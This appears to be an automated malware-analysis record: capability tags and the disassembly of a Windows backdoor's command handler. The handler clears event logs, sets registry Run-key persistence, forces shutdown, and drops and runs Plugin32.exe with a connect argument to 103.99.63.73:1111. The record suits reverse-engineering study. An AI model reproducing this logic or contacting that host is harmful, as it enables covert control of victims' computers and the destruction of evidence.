Function at 0x10006e3e
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x63c
mov eax, dword [0x1002d00c]
xor eax, esp
mov dword [esp + 0x638], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, ecx
movzx eax, byte [ebx]
mov dword [esp + 0x10], edi
cmp eax, 0x7d
ja case.default.0x10006aa2
movzx eax, byte [eax + 0x10007014]
jmp dword [eax*4 + 0x10006f8c]
push 4
lea eax, [edi - 1]
push 0x3000
push eax
push 0
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je case.default.0x10006aa2
push dword [esp + 0x10]
lea ecx, [ebx + 1]
push ecx
push edi
call fcn.10010450
add esp, 0xc
sub esp, 0xc
cmp dword [esi + 0xfb0], 0
push edi
je 0x100065e9
push 0x10004d70
jmp 0x100065ee
push 0x10004d10
call fcn.10007950
mov ecx, dword [esi + 0xfac]
add esp, 0x14
mov dword [esi + ecx*4 + 0xc], eax
inc dword [esi + 0xfac]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
movzx esi, byte [ebx + 1]
mov edx, 1
call fcn.10007dd0
push 0
push esi
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor edx, edx
call fcn.10007dd0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
sub esp, 0xc
push 0
push 0x100049d0
call fcn.10007950
mov eax, dword [esi + 4]
add esp, 8
push dword [eax + 0x48]
push 0x10004dd0
call fcn.10007950
mov ecx, dword [esi + 0xfac]
add esp, 0x14
mov dword [esi + ecx*4 + 0xc], eax
inc dword [esi + 0xfac]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
push 4
push 0x3000
add edi, 0xfffffffe
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je case.default.0x10006aa2
push edi
lea ecx, [ebx + 2]
push ecx
push esi
call fcn.10010450
movzx eax, byte [ebx + 1]
add esp, 8
mov edx, 0x10028212
mov ecx, esi
push eax
call fcn.10004cc0
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
sub esp, 0xc
lea eax, [ebx + 1]
push eax
push 0x100053f0
jmp 0x100065ee
sub esp, 0xc
lea eax, [ebx + 1]
push eax
push fcn.10005280
call fcn.10007950
mov ecx, dword [esi + 0xfac]
add esp, 0x14
mov dword [esi + ecx*4 + 0xc], eax
inc dword [esi + 0xfac]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
sub esp, 0xc
lea eax, [ebx + 1]
push eax
push 0x100053a0
jmp 0x100065ee
push 0x168
lea eax, [esp + 0x244]
mov ecx, 0x5c
mov esi, ebx
lea edi, [esp + 0x1c]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.1000e720
add esp, 0xc
lea eax, [esp + 0x124]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je case.default.0x10006aa2
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x198]
push 0
push eax
add ecx, 0xfffffe90
push ecx
lea ecx, [ebx + 0x170]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je case.default.0x10006aa2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x20]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100067e6
sub ecx, edx
je 0x10006816
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x128]
push eax
lea eax, [esp + 0x248]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x1000682c
lea eax, [esp + 0x124]
push eax
lea eax, [esp + 0x244]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x1c]
sub eax, 0
je 0x1000686d
sub eax, 1
je 0x10006848
sub eax, 2
je case.0x1000659c.1
jmp case.default.0x10006aa2
xor edx, edx
lea ecx, [esp + 0x240]
call fcn.10005670
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
mov edx, 5
lea ecx, [esp + 0x240]
call fcn.10005670
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
sub esp, 0xc
push dword [esi + 4]
push 0x10004f00
jmp 0x100065ee
mov ecx, dword [0x1002f99c]
test ecx, ecx
je case.default.0x10006aa2
mov edx, str.CloseProxy
call fcn.100077e0
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 4]
push str.kernel32.dll
mov dword [esp + 0x19c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x100291d8
push eax
mov dword [esp + 0x18], eax
call esi
push 0x100291f4
push dword [esp + 0x14]
mov edi, eax
call esi
push 0x10029204
push dword [esp + 0x14]
mov dword [esp + 0x1a8], eax
call esi
push 0
push 2
mov dword [esp + 0x1c], eax
call edi
mov esi, eax
test esi, esi
je 0x10006972
lea eax, [esp + 0x240]
mov dword [esp + 0x240], 0x128
push eax
push esi
call dword [esp + 0x1a8]
test eax, eax
je 0x10006972
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
inc ebx
lea eax, [esp + 0x264]
push eax
push ebx
call edi
test eax, eax
je 0x100069c1
lea eax, [esp + 0x240]
push eax
push esi
call dword [esp + 0x1c]
test eax, eax
jne 0x10006952
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000698a
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je case.default.0x10006aa2
mov ecx, dword [esp + 0x198]
lea eax, [esp + 0xf]
push 1
push eax
mov byte [esp + 0x17], 0xd6
call fcn.100018c0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
mov ebx, 1
jmp 0x10006974
mov esi, dword [esi + 4]
lea eax, [ebx + 1]
push eax
push 0x10005450
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [0x1002fda8], 0
je 0x10006a0d
push 1
lea eax, [esp + 0x13]
mov byte [esp + 0x13], 0xd6
push eax
mov ecx, esi
call fcn.100018c0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
mov dword [0x1002fda8], 0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
lea ecx, [ebx + 1]
mov edx, 1
call fcn.10005510
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
lea ecx, [ebx + 1]
xor edx, edx
call fcn.10005510
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
movzx eax, byte [ebx + 1]
dec eax
mov dword [esp + 0x188], str.Application
mov dword [esp + 0x18c], str.Security
mov dword [esp + 0x190], str.System
cmp eax, 3
ja case.default.0x10006aa2
jmp dword [eax*4 + 0x10007094]
mov dword [esp + 0x190], 0x10028212
jmp 0x10006ad9
mov dword [esp + 0x188], 0x10028212
mov dword [esp + 0x190], 0x10028212
jmp case.0x10006aa2.1
mov dword [esp + 0x188], 0x10028212
mov dword [esp + 0x18c], 0x10028212
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor esi, esi
nop dword [eax]
push dword [esp + esi*4 + 0x188]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
test edi, edi
je 0x10006b11
push 0
push edi
call ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc esi
cmp esi, 3
jb 0x10006af0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 4]
push 0x3ad
push 0x40
mov dword [esp + 0x1a0], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je case.default.0x10006aa2
mov byte [ebx], 0xd7
lea edi, [ebx + 1]
mov ecx, 0xeb
mov esi, str.www.mianman.com
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [esp + 0x198]
push eax
push ebx
call fcn.100018c0
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
push 0x400
lea eax, [esp + 0x244]
mov dword [esp + 0x19c], 0x74736f48
push 0
push eax
lea esi, [ebx + 1]
mov byte [esp + 0x1a8], 0
call fcn.1000e720
add esp, 0xc
mov dword [esp + 0x188], 0x6e69614d
lea eax, [esp + 0x188]
mov dword [esp + 0x18c], 0x5c6c6c44
mov word [esp + 0x190], 0x7325
mov byte [esp + 0x192], 0
push 0x1002d968
push eax
lea eax, [esp + 0x248]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
lea eax, [esp + 0x1a4]
mov ecx, connect
push 1
push eax
lea edx, [esp + 0x254]
call fcn.10008250
add esp, 0x14
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
lea edx, [ebx + 1]
mov ecx, 0x1002d968
call fcn.10005910
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 4]
sub esp, 0xc
push dword [eax + 0x48]
push 0x100059c0
jmp 0x100065ee
mov eax, dword [esi + 4]
sub esp, 0xc
push dword [eax + 0x48]
push 0x100059d0
jmp 0x100065ee
mov eax, dword [esi + 4]
sub esp, 0xc
push dword [eax + 0x48]
push 0x10005b00
jmp 0x100065ee
mov eax, dword [esi + 4]
sub esp, 0xc
push dword [eax + 0x48]
push 0x10005c30
jmp 0x100065ee
mov eax, dword [esi + 4]
sub esp, 0xc
push dword [eax + 0x48]
push 0x10005d60
jmp 0x100065ee
mov eax, dword [esi + 4]
sub esp, 0xc
push dword [eax + 0x48]
push 0x10005e90
jmp 0x100065ee
mov eax, dword [esi + 4]
sub esp, 0xc
push dword [eax + 0x48]
push 0x10005fc0
jmp 0x100065ee
mov eax, dword [esi + 4]
sub esp, 0xc
push dword [eax + 0x48]
push 0x100060f0
jmp 0x100065ee
mov eax, dword [esi + 4]
sub esp, 0xc
push dword [eax + 0x48]
push 0x10006220
jmp 0x100065ee
mov eax, dword [esi + 4]
sub esp, 0xc
push dword [eax + 0x48]
push 0x10006350
jmp 0x100065ee
mov eax, dword [esi + 4]
sub esp, 0xc
push dword [eax + 0x48]
push 0x100063e0
jmp 0x100065ee
call fcn.100070b0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
push 0x10028b50
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x104
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.1000e720
add esp, 0xc
lea eax, [esp + 0x18]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movaps xmm0, xmmword [0x10029c80]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
lea eax, [esp + 0x1b4]
mov dword [esp + 0x1d4], 0x6556746e
movups xmmword [esp + 0x1b4], xmm0
push eax
movaps xmm0, xmmword [0x10029c40]
push connect
movups xmmword [esp + 0x1cc], xmm0
mov dword [esp + 0x1e0], 0x6f697372
mov dword [esp + 0x1e4], 0x75525c6e
mov word [esp + 0x1e8], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10006aa2
push 0x104
lea eax, [esp + 0x1c]
push eax
push 1
push 0
lea eax, [ebx + 1]
push eax
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 0x18]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [esp + 0x188], 0x67756c50
mov dword [esp + 0x18c], 0x32336e69
mov dword [esp + 0x190], 0x6578652e
mov byte [esp + 0x194], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [esp + 0x18c]
push eax
lea eax, [esp + 0x1e0]
push eax
call fcn.10002010
add esp, 0xc
lea eax, [esp + 0x1d8]
push eax
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je case.default.0x10006aa2
lea ecx, [ebx + 1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10006ed7
sub ecx, edx
lea edx, [ebx + 1]
lea eax, [edx + 1]
mov dword [esp + 0x198], eax
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x10006ef0
sub edx, dword [esp + 0x198]
lea eax, [esp + 0x14]
push 0
push eax
sub edi, ecx
lea eax, [ebx + 2]
sub edi, 2
add eax, edx
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.103.99.63.73
lea eax, [esp + 0x244]
push str._connect__s:1111
push eax
call fcn.10002010
add esp, 0xc
mov dword [esp + 0x1a0], 0x6e65706f
lea eax, [esp + 0x240]
mov byte [esp + 0x1a4], 0
push 0
push 0
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x1b0]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x644]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000c111
mov esp, ebp
pop ebp
ret 8
call fcn.10004fe0
nop dword [eax]
sbb eax, 0x84100066
outsd dx, dword [esi]
add byte [eax], dl
inc esp
insd dword es:[edi], dx
add byte [eax], dl
jae 0x10007004
add byte [eax], dl
imul eax, dword cs:[eax], 0x10
pushfd
imul eax, dword [eax], 16
dec edi
insb byte es:[edi], dx
add byte [eax], dl
popal
add byte [bx + si], dl
or eax, 0x50100067
add byte [bx + si], dl
push 0
adc byte [edx + 106], dl
add byte [eax], dl
cld
add byte [eax], dl
xchg ebp, eax
push 1755648000
add byte [eax], dl
cmpsb byte [esi], byte es:[edi]
add byte [eax], dl
pushal
insd dword es:[edi], dx
add byte [eax], dl
salc
push 1774718976
add byte [eax], dl
mov dword [0x52100065], eax
add byte [eax], dl
jae 0x1000704e
add byte [eax], dl
xchg byte [eax + eax + 0x10], ch
cdq
insb byte es:[edi], dx
add byte [eax], dl
lodsb al, byte [esi]
insb byte es:[edi], dx
add byte [eax], dl
mov edi, 0xd210006c
insb byte es:[edi], dx
add byte [eax], dl
in eax, 0x6c
add byte [eax], dl
clc
insb byte es:[edi], dx
add byte [eax], dl
or ebp, dword [ebp]
adc byte [esi], bl
push ds
insd dword es:[edi], dx
add byte [eax], dl
xor dword [ebp], ebp
adc byte [esi], bh
outsb dx, byte [esi]
add byte [eax], dl
insd dword es:[edi], dx
outsd dx, dword [esi]
add byte [eax], dl
add byte [ecx], al
add al, byte [ebx]
add al, 5
push es
pop es
or byte [ecx], cl
or cl, byte [ebx]
or al, 13
push cs
movups xmm2, xmmword [ecx]
adc ah, byte [ecx]
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ecx], esp
and dword [ebx], edx
adc edx, dword [ebx]
adc edx, dword [ebx]
adc al, 19
adc edx, dword [ebx]
adc edx, dword [ebx]
adc esp, dword [ecx]
adc eax, 421009174
sbb bl, byte [ebx]
sbb al, 29
push ds
pop ds
and byte [esi - 112], ah
in al, 106
add byte [eax], dl
into
push 0
adc byte [esi - 0x56efff96], dh
push 0
adc ah, cl
int3